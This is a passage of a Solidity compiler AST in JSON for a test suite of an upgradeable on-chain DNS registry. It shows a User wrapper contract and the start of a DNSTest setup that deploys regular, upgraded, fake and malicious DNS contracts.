139:27:2"},{"attributes":{"SourceUnit":1724,"absolutePath":"src/MalDNS.sol","file":"./MalDNS.sol","scope":1363,"symbolAliases":[null],"unitAlias":""},"id":315,"name":"ImportDirective","src":"167:22:2"},{"attributes":{"SourceUnit":1418,"absolutePath":"src/HEVMCheat.sol","file":"./HEVMCheat.sol","scope":1363,"symbolAliases":[null],"unitAlias":""},"id":316,"name":"ImportDirective","src":"191:25:2"},{"attributes":{"SourceUnit":2748,"absolutePath":"lib/ds-test/src/test.sol","file":"ds-test/test.sol","scope":1363,"symbolAliases":[null],"unitAlias":""},"id":317,"name":"ImportDirective","src":"217:26:2"},{"attributes":{"abstract":false,"baseContracts":[null],"contractDependencies":[null],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[443],"name":"User","scope":1363},"children":[{"attributes":{"constant":false,"mutability":"immutable","name":"dns","scope":443,"stateVariable":true,"storageLocation":"default","type":"contract IDNS","visibility":"internal"},"children":[{"attributes":{"name":"IDNS","referencedDeclaration":1462,"type":"contract IDNS"},"id":318,"name":"UserDefinedTypeName","src":"262:4:2"}],"id":319,"name":"VariableDeclaration","src":"262:18:2"},{"attributes":{"constant":false,"mutability":"immutable","name":"upgrade","scope":443,"stateVariable":true,"storageLocation":"default","type":"contract Upgrade","visibility":"internal"},"children":[{"attributes":{"name":"Upgrade","referencedDeclaration":2050,"type":"contract Upgrade"},"id":320,"name":"UserDefinedTypeName","src":"283:7:2"}],"id":321,"name":"VariableDeclaration","src":"283:25:2"},{"attributes":{"implemented":true,"isConstructor":true,"kind":"constructor","modifiers":[null],"name":"","scope":443,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},"children":[{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"_dns","scope":337,"stateVariable":false,"storageLocation":"default","type":"contract IDNS","visibility":"internal"},"children":[{"attributes":{"name":"IDNS","referencedDeclaration":1462,"type":"contract IDNS"},"id":322,"name":"UserDefinedTypeName","src":"324:4:2"}],"id":323,"name":"VariableDeclaration","src":"324:9:2"},{"attributes":{"constant":false,"mutability":"mutable","name":"_upgrade","scope":337,"stateVariable":false,"storageLocation":"default","type":"contract Upgrade","visibility":"internal"},"children":[{"attributes":{"name":"Upgrade","referencedDeclaration":2050,"type":"contract Upgrade"},"id":324,"name":"UserDefinedTypeName","src":"335:7:2"}],"id":325,"name":"VariableDeclaration","src":"335:16:2"}],"id":326,"name":"ParameterList","src":"323:29:2"},{"attributes":{"parameters":[null]},"children":[],"id":327,"name":"ParameterList","src":"353:0:2"},{"children":[{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"contract IDNS"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":319,"type":"contract IDNS","value":"dns"},"id":328,"name":"Identifier","src":"357:3:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":323,"type":"contract IDNS","value":"_dns"},"id":329,"name":"Identifier","src":"363:4:2"}],"id":330,"name":"Assignment","src":"357:10:2"}],"id":331,"name":"ExpressionStatement","src":"357:10:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"contract Upgrade"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":321,"type":"contract Upgrade","value":"upgrade"},"id":332,"name":"Identifier","src":"371:7:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":325,"type":"contract Upgrade","value":"_upgrade"},"id":333,"name":"Identifier","src":"381:8:2"}],"id":334,"name":"Assignment","src":"371:18:2"}],"id":335,"name":"ExpressionStatement","src":"371:18:2"}],"id":336,"name":"Block","src":"353:40:2"}],"id":337,"name":"FunctionDefinition","src":"312:81:2"},{"attributes":{"functionSelector":"9be1238f","implemented":true,"isConstructor":false,"kind":"function","modifiers":[null],"name":"register","scope":443,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},"children":[{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"_domain","scope":356,"stateVariable":false,"storageLocation":"memory","type":"string","visibility":"internal"},"children":[{"attributes":{"name":"string","type":"string"},"id":338,"name":"ElementaryTypeName","src":"414:6:2"}],"id":339,"name":"VariableDeclaration","src":"414:21:2"},{"attributes":{"constant":false,"mutability":"mutable","name":"_ip","scope":356,"stateVariable":false,"storageLocation":"default","type":"bytes4","visibility":"internal"},"children":[{"attributes":{"name":"bytes4","type":"bytes4"},"id":340,"name":"ElementaryTypeName","src":"437:6:2"}],"id":341,"name":"VariableDeclaration","src":"437:10:2"}],"id":342,"name":"ParameterList","src":"413:35:2"},{"attributes":{"parameters":[null]},"children":[],"id":343,"name":"ParameterList","src":"458:0:2"},{"children":[{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bytes4","typeString":"bytes4"},{"typeIdentifier":"t_address","typeString":"address"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"register","referencedDeclaration":1435,"type":"function (string memory,bytes4,address) external"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":319,"type":"contract IDNS","value":"dns"},"id":344,"name":"Identifier","src":"462:3:2"}],"id":346,"name":"MemberAccess","src":"462:12:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":339,"type":"string memory","value":"_domain"},"id":347,"name":"Identifier","src":"475:7:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":341,"type":"bytes4","value":"_ip"},"id":348,"name":"Identifier","src":"484:3:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"address","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_contract$_User_$443","typeString":"contract User"}],"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"type":"type(address)"},"children":[{"attributes":{"name":"address"},"id":349,"name":"ElementaryTypeName","src":"489:7:2"}],"id":350,"name":"ElementaryTypeNameExpression","src":"489:7:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":-28,"type":"contract User","value":"this"},"id":351,"name":"Identifier","src":"497:4:2"}],"id":352,"name":"FunctionCall","src":"489:13:2"}],"id":353,"name":"FunctionCall","src":"462:41:2"}],"id":354,"name":"ExpressionStatement","src":"462:41:2"}],"id":355,"name":"Block","src":"458:49:2"}],"id":356,"name":"FunctionDefinition","src":"396:111:2"},{"attributes":{"functionSelector":"f7a46696","implemented":true,"isConstructor":false,"kind":"function","modifiers":[null],"name":"update","scope":443,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},"children":[{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"_domain","scope":371,"stateVariable":false,"storageLocation":"memory","type":"string","visibility":"internal"},"children":[{"attributes":{"name":"string","type":"string"},"id":357,"name":"ElementaryTypeName","src":"526:6:2"}],"id":358,"name":"VariableDeclaration","src":"526:21:2"},{"attributes":{"constant":false,"mutability":"mutable","name":"_ip","scope":371,"stateVariable":false,"storageLocation":"default","type":"bytes4","visibility":"internal"},"children":[{"attributes":{"name":"bytes4","type":"bytes4"},"id":359,"name":"ElementaryTypeName","src":"549:6:2"}],"id":360,"name":"VariableDeclaration","src":"549:10:2"}],"id":361,"name":"ParameterList","src":"525:35:2"},{"attributes":{"parameters":[null]},"children":[],"id":362,"name":"ParameterList","src":"570:0:2"},{"children":[{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bytes4","typeString":"bytes4"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"update","referencedDeclaration":1443,"type":"function (string memory,bytes4) external"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":319,"type":"contract IDNS","value":"dns"},"id":363,"name":"Identifier","src":"574:3:2"}],"id":365,"name":"MemberAccess","src":"574:10:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":358,"type":"string memory","value":"_domain"},"id":366,"name":"Identifier","src":"585:7:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":360,"type":"bytes4","value":"_ip"},"id":367,"name":"Identifier","src":"594:3:2"}],"id":368,"name":"FunctionCall","src":"574:24:2"}],"id":369,"name":"ExpressionStatement","src":"574:24:2"}],"id":370,"name":"Block","src":"570:32:2"}],"id":371,"name":"FunctionDefinition","src":"510:92:2"},{"attributes":{"functionSelector":"63c95186","implemented":true,"isConstructor":false,"kind":"function","modifiers":[null],"name":"updateViaCustomDNS","scope":443,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},"children":[{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"_domain","scope":388,"stateVariable":false,"storageLocation":"memory","type":"string","visibility":"internal"},"children":[{"attributes":{"name":"string","type":"string"},"id":372,"name":"ElementaryTypeName","src":"633:6:2"}],"id":373,"name":"VariableDeclaration","src":"633:21:2"},{"attributes":{"constant":false,"mutability":"mutable","name":"_ip","scope":388,"stateVariable":false,"storageLocation":"default","type":"bytes4","visibility":"internal"},"children":[{"attributes":{"name":"bytes4","type":"bytes4"},"id":374,"name":"ElementaryTypeName","src":"656:6:2"}],"id":375,"name":"VariableDeclaration","src":"656:10:2"},{"attributes":{"constant":false,"mutability":"mutable","name":"_dns","scope":388,"stateVariable":false,"storageLocation":"default","type":"contract IDNS","visibility":"internal"},"children":[{"attributes":{"name":"IDNS","referencedDeclaration":1462,"type":"contract IDNS"},"id":376,"name":"UserDefinedTypeName","src":"668:4:2"}],"id":377,"name":"VariableDeclaration","src":"668:9:2"}],"id":378,"name":"ParameterList","src":"632:46:2"},{"attributes":{"parameters":[null]},"children":[],"id":379,"name":"ParameterList","src":"688:0:2"},{"children":[{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bytes4","typeString":"bytes4"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"update","referencedDeclaration":1443,"type":"function (string memory,bytes4) external"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":377,"type":"contract IDNS","value":"_dns"},"id":380,"name":"Identifier","src":"692:4:2"}],"id":382,"name":"MemberAccess","src":"692:11:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":373,"type":"string memory","value":"_domain"},"id":383,"name":"Identifier","src":"704:7:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":375,"type":"bytes4","value":"_ip"},"id":384,"name":"Identifier","src":"713:3:2"}],"id":385,"name":"FunctionCall","src":"692:25:2"}],"id":386,"name":"ExpressionStatement","src":"692:25:2"}],"id":387,"name":"Block","src":"688:33:2"}],"id":388,"name":"FunctionDefinition","src":"605:116:2"},{"attributes":{"functionSelector":"fbf58b3e","implemented":true,"isConstructor":false,"kind":"function","modifiers":[null],"name":"transfer","scope":443,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},"children":[{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"_domain","scope":403,"stateVariable":false,"storageLocation":"memory","type":"string","visibility":"internal"},"children":[{"attributes":{"name":"string","type":"string"},"id":389,"name":"ElementaryTypeName","src":"742:6:2"}],"id":390,"name":"VariableDeclaration","src":"742:21:2"},{"attributes":{"constant":false,"mutability":"mutable","name":"_owner","scope":403,"stateVariable":false,"storageLocation":"default","type":"address","visibility":"internal"},"children":[{"attributes":{"name":"address","stateMutability":"nonpayable","type":"address"},"id":391,"name":"ElementaryTypeName","src":"765:7:2"}],"id":392,"name":"VariableDeclaration","src":"765:14:2"}],"id":393,"name":"ParameterList","src":"741:39:2"},{"attributes":{"parameters":[null]},"children":[],"id":394,"name":"ParameterList","src":"790:0:2"},{"children":[{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"transfer","referencedDeclaration":1451,"type":"function (string memory,address) external"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":319,"type":"contract IDNS","value":"dns"},"id":395,"name":"Identifier","src":"794:3:2"}],"id":397,"name":"MemberAccess","src":"794:12:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":390,"type":"string memory","value":"_domain"},"id":398,"name":"Identifier","src":"807:7:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":392,"type":"address","value":"_owner"},"id":399,"name":"Identifier","src":"816:6:2"}],"id":400,"name":"FunctionCall","src":"794:29:2"}],"id":401,"name":"ExpressionStatement","src":"794:29:2"}],"id":402,"name":"Block","src":"790:37:2"}],"id":403,"name":"FunctionDefinition","src":"724:103:2"},{"attributes":{"functionSelector":"461a4478","implemented":true,"isConstructor":false,"kind":"function","modifiers":[null],"name":"resolve","scope":443,"stateMutability":"view","virtual":false,"visibility":"external"},"children":[{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"_domain","scope":418,"stateVariable":false,"storageLocation":"memory","type":"string","visibility":"internal"},"children":[{"attributes":{"name":"string","type":"string"},"id":404,"name":"ElementaryTypeName","src":"847:6:2"}],"id":405,"name":"VariableDeclaration","src":"847:21:2"}],"id":406,"name":"ParameterList","src":"846:23:2"},{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"","scope":418,"stateVariable":false,"storageLocation":"default","type":"bytes4","visibility":"internal"},"children":[{"attributes":{"name":"bytes4","type":"bytes4"},"id":407,"name":"ElementaryTypeName","src":"893:6:2"}],"id":408,"name":"VariableDeclaration","src":"893:6:2"},{"attributes":{"constant":false,"mutability":"mutable","name":"","scope":418,"stateVariable":false,"storageLocation":"default","type":"address","visibility":"internal"},"children":[{"attributes":{"name":"address","stateMutability":"nonpayable","type":"address"},"id":409,"name":"ElementaryTypeName","src":"901:7:2"}],"id":410,"name":"VariableDeclaration","src":"901:7:2"}],"id":411,"name":"ParameterList","src":"892:17:2"},{"children":[{"attributes":{"functionReturnParameters":411},"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple(bytes4,address)","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"resolve","referencedDeclaration":1461,"type":"function (string memory) view external returns (bytes4,address)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":319,"type":"contract IDNS","value":"dns"},"id":412,"name":"Identifier","src":"921:3:2"}],"id":413,"name":"MemberAccess","src":"921:11:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":405,"type":"string memory","value":"_domain"},"id":414,"name":"Identifier","src":"933:7:2"}],"id":415,"name":"FunctionCall","src":"921:20:2"}],"id":416,"name":"Return","src":"914:27:2"}],"id":417,"name":"Block","src":"910:35:2"}],"id":418,"name":"FunctionDefinition","src":"830:115:2"},{"attributes":{"functionSelector":"5b48684e","implemented":true,"isConstructor":false,"kind":"function","modifiers":[null],"name":"optIn","scope":443,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},"children":[{"attributes":{"parameters":[null]},"children":[],"id":419,"name":"ParameterList","src":"962:2:2"},{"attributes":{"parameters":[null]},"children":[],"id":420,"name":"ParameterList","src":"974:0:2"},{"children":[{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_enum$_Opt_$1731","typeString":"enum Upgrade.Opt"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"opt","referencedDeclaration":1799,"type":"function (enum Upgrade.Opt) external"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":321,"type":"contract Upgrade","value":"upgrade"},"id":421,"name":"Identifier","src":"978:7:2"}],"id":423,"name":"MemberAccess","src":"978:11:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"member_name":"In","type":"enum Upgrade.Opt"},"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"Opt","referencedDeclaration":1731,"type":"type(enum Upgrade.Opt)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2050,"type":"type(contract Upgrade)","value":"Upgrade"},"id":424,"name":"Identifier","src":"990:7:2"}],"id":425,"name":"MemberAccess","src":"990:11:2"}],"id":426,"name":"MemberAccess","src":"990:14:2"}],"id":427,"name":"FunctionCall","src":"978:27:2"}],"id":428,"name":"ExpressionStatement","src":"978:27:2"}],"id":429,"name":"Block","src":"974:35:2"}],"id":430,"name":"FunctionDefinition","src":"948:61:2"},{"attributes":{"functionSelector":"d4eec5a6","implemented":true,"isConstructor":false,"kind":"function","modifiers":[null],"name":"optOut","scope":443,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},"children":[{"attributes":{"parameters":[null]},"children":[],"id":431,"name":"ParameterList","src":"1027:2:2"},{"attributes":{"parameters":[null]},"children":[],"id":432,"name":"ParameterList","src":"1039:0:2"},{"children":[{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_enum$_Opt_$1731","typeString":"enum Upgrade.Opt"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"opt","referencedDeclaration":1799,"type":"function (enum Upgrade.Opt) external"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":321,"type":"contract Upgrade","value":"upgrade"},"id":433,"name":"Identifier","src":"1043:7:2"}],"id":435,"name":"MemberAccess","src":"1043:11:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"member_name":"Out","type":"enum Upgrade.Opt"},"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"Opt","referencedDeclaration":1731,"type":"type(enum Upgrade.Opt)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2050,"type":"type(contract Upgrade)","value":"Upgrade"},"id":436,"name":"Identifier","src":"1055:7:2"}],"id":437,"name":"MemberAccess","src":"1055:11:2"}],"id":438,"name":"MemberAccess","src":"1055:15:2"}],"id":439,"name":"FunctionCall","src":"1043:28:2"}],"id":440,"name":"ExpressionStatement","src":"1043:28:2"}],"id":441,"name":"Block","src":"1039:36:2"}],"id":442,"name":"FunctionDefinition","src":"1012:63:2"}],"id":443,"name":"ContractDefinition","src":"245:832:2"},{"attributes":{"abstract":false,"contractDependencies":[308,443,1417,1723,2050,2303,2747],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[1362,2747],"name":"DNSTest","scope":1363},"children":[{"attributes":{},"children":[{"attributes":{"name":"DSTest","referencedDeclaration":2747,"type":"contract DSTest"},"id":444,"name":"UserDefinedTypeName","src":"1099:6:2"}],"id":445,"name":"InheritanceSpecifier","src":"1099:6:2"},{"attributes":{"constant":false,"mutability":"mutable","name":"hevm","scope":1362,"stateVariable":true,"storageLocation":"default","type":"contract HEVMCheat","visibility":"internal"},"children":[{"attributes":{"name":"HEVMCheat","referencedDeclaration":1417,"type":"contract HEVMCheat"},"id":446,"name":"UserDefinedTypeName","src":"1109:9:2"}],"id":447,"name":"VariableDeclaration","src":"1109:14:2"},{"attributes":{"constant":false,"mutability":"mutable","name":"dns","scope":1362,"stateVariable":true,"storageLocation":"default","type":"contract DNS","visibility":"internal"},"children":[{"attributes":{"name":"DNS","referencedDeclaration":308,"type":"contract DNS"},"id":448,"name":"UserDefinedTypeName","src":"1127:3:2"}],"id":449,"name":"VariableDeclaration","src":"1127:7:2"},{"attributes":{"constant":false,"mutability":"mutable","name":"up_dns","scope":1362,"stateVariable":true,"storageLocation":"default","type":"contract UpgradedDNS","visibility":"internal"},"children":[{"attributes":{"name":"UpgradedDNS","referencedDeclaration":2303,"type":"contract UpgradedDNS"},"id":450,"name":"UserDefinedTypeName","src":"1137:11:2"}],"id":451,"name":"VariableDeclaration","src":"1137:18:2"},{"attributes":{"constant":false,"mutability":"mutable","name":"fake_up_dns","scope":1362,"stateVariable":true,"storageLocation":"default","type":"contract UpgradedDNS","visibility":"internal"},"children":[{"attributes":{"name":"UpgradedDNS","referencedDeclaration":2303,"type":"contract UpgradedDNS"},"id":452,"name":"UserDefinedTypeName","src":"1158:11:2"}],"id":453,"name":"VariableDeclaration","src":"1158:23:2"},{"attributes":{"constant":false,"mutability":"mutable","name":"mal_dns","scope":1362,"stateVariable":true,"storageLocation":"default","type":"contract MalDNS","visibility":"internal"},"children":[{"attributes":{"name":"MalDNS","referencedDeclaration":1723,"type":"contract MalDNS"},"id":454,"name":"UserDefinedTypeName","src":"1184:6:2"}],"id":455,"name":"VariableDeclaration","src":"1184:14:2"},{"attributes":{"constant":false,"mutability":"mutable","name":"upgrade","scope":1362,"stateVariable":true,"storageLocation":"default","type":"contract Upgrade","visibility":"internal"},"children":[{"attributes":{"name":"Upgrade","referencedDeclaration":2050,"type":"contract Upgrade"},"id":456,"name":"UserDefinedTypeName","src":"1201:7:2"}],"id":457,"name":"VariableDeclaration","src":"1201:15:2"},{"attributes":{"constant":true,"mutability":"constant","name":"MAX_USERS","scope":1362,"stateVariable":true,"storageLocation":"default","type":"uint256","visibility":"internal"},"children":[{"attributes":{"name":"uint","type":"uint256"},"id":458,"name":"ElementaryTypeName","src":"1220:4:2"},{"attributes":{"hexvalue":"34","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 4","value":"4"},"id":459,"name":"Literal","src":"1246:1:2"}],"id":460,"name":"VariableDeclaration","src":"1220:27:2"},{"attributes":{"constant":false,"mutability":"mutable","name":"users","scope":1362,"stateVariable":true,"storageLocation":"default","type":"contract User[4]","visibility":"internal"},"children":[{"attributes":{"type":"contract User[4]"},"children":[{"attributes":{"name":"User","referencedDeclaration":443,"type":"contract User"},"id":461,"name":"UserDefinedTypeName","src":"1250:4:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":460,"type":"uint256","value":"MAX_USERS"},"id":462,"name":"Identifier","src":"1255:9:2"}],"id":463,"name":"ArrayTypeName","src":"1250:15:2"}],"id":464,"name":"VariableDeclaration","src":"1250:21:2"},{"attributes":{"functionSelector":"0a9254e4","implemented":true,"isConstructor":false,"kind":"function","modifiers":[null],"name":"setUp","scope":1362,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},"children":[{"attributes":{"parameters":[null]},"children":[],"id":465,"name":"ParameterList","src":"1289:2:2"},{"attributes":{"parameters":[null]},"children":[],"id":466,"name":"ParameterList","src":"1299:0:2"},{"children":[{"children":[{"attributes":{"arguments":[null],"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[null],"overloadedDeclarations":[null],"referencedDeclaration":540,"type":"function ()","value":"reset"},"id":467,"name":"Identifier","src":"1303:5:2"}],"id":468,"name":"FunctionCall","src":"1303:7:2"}],"id":469,"name":"ExpressionStatement","src":"1303:7:2"}],"id":470,"name":"Block","src":"1299:15:2"}],"id":471,"name":"FunctionDefinition","src":"1275:39:2"},{"attributes":{"implemented":true,"isConstructor":false,"kind":"function","modifiers":[null],"name":"reset","scope":1362,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},"children":[{"attributes":{"parameters":[null]},"children":[],"id":472,"name":"ParameterList","src":"1331:2:2"},{"attributes":{"parameters":[null]},"children":[],"id":473,"name":"ParameterList","src":"1343:0:2"},{"children":[{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"contract HEVMCheat"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":447,"type":"contract HEVMCheat","value":"hevm"},"id":474,"name":"Identifier","src":"1347:4:2"},{"attributes":{"arguments":[null],"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"contract HEVMCheat","type_conversion":false},"children":[{"attributes":{"argumentTypes":[null],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"type":"function () returns (contract HEVMCheat)"},"children":[{"attributes":{"name":"HEVMCheat","referencedDeclaration":1417,"type":"contract HEVMCheat"},"id":475,"name":"UserDefinedTypeName","src":"1358:9:2"}],"id":476,"name":"NewExpression","src":"1354:13:2"}],"id":477,"name":"FunctionCall","src":"1354:15:2"}],"id":478,"name":"Assignment","src":"1347:22:2"}],"id":479,"name":"ExpressionStatement","src":"1347:22:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"contract Upgrade"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":457,"type":"contract Upgrade","value":"upgrade"},"id":480,"name":"Identifier","src":"1374:7:2"},{"attributes":{"arguments":[null],"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"contract Upgrade","type_conversion":false},"children":[{"attributes":{"argumentTypes":[null],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"type":"function () returns (contract Upgrade)"},"children":[{"attributes":{"name":"Upgrade","referencedDeclaration":2050,"type":"contract Upgrade"},"id":481,"name":"UserDefinedTypeName","src":"1388:7:2"}],"id":482,"name":"NewExpression","src":"1384:11:2"}],"id":483,"name":"FunctionCall","src":"1384:13:2"}],"id":484,"name":"Assignment","src":"1374:23:2"}],"id":485,"name":"ExpressionStatement","src":"1374:23:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"contract DNS"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":449,"type":"contract DNS","value":"dns"},"id":486,"name":"Identifier","src":"1401:3:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"contract DNS","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_contract$_Upgrade_$2050","typeString":"contract Upgrade"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"type":"function (contract Upgrade) returns (contract DNS)"},"children":[{"attributes":{"name":"DNS","referencedDeclaration":308,"type":"contract DNS"},"id":487,"name":"UserDefinedTypeName","src":"1411:3:2"}],"id":488,"name":"NewExpression","src":"1407:7:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":457,"type":"contract Upgrade","value":"upgrade"},"id":489,"name":"Identifier","src":"1415:7:2"}],"id":490,"name":"FunctionCall","src":"1407:16:2"}],"id":491,"name":"Assignment","src":"1401:22:2"}],"id":492,"name":"ExpressionStatement","src":"1401:22:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"contract UpgradedDNS"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":451,"type":"contract UpgradedDNS","value":"up_dns"},"id":493,"name":"Identifier","src":"1427:6:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"contract UpgradedDNS","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_contract$_DNS_$308","typeString":"contract DNS"},{"typeIdentifier":"t_contract$_Upgrade_$2050","typeString":"contract Upgrade"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"type":"function (contract IDNS,contract Upgrade) returns (contract UpgradedDNS)"},"children":[{"attributes":{"name":"UpgradedDNS","referencedDeclaration":2303,"type":"contract UpgradedDNS"},"id":494,"name":"UserDefinedTypeName","src":"1440:11:2"}],"id":495,"name":"NewExpression","src":"1436:15:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":449,"type":"contract DNS","value":"dns"},"id":496,"name":"Identifier","src":"1452:3:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":457,"type":"contract Upgrade","value":"upgrade"},"id":497,"name":"Identifier","src":"1457:7:2"}],"id":498,"name":"FunctionCall","src":"1436:29:2"}],"id":499,"name":"Assignment","src":"1427:38:2"}],"id":500,"name":"ExpressionStatement","src":"1427:38:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"contract UpgradedDNS"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":453,"type":"contract 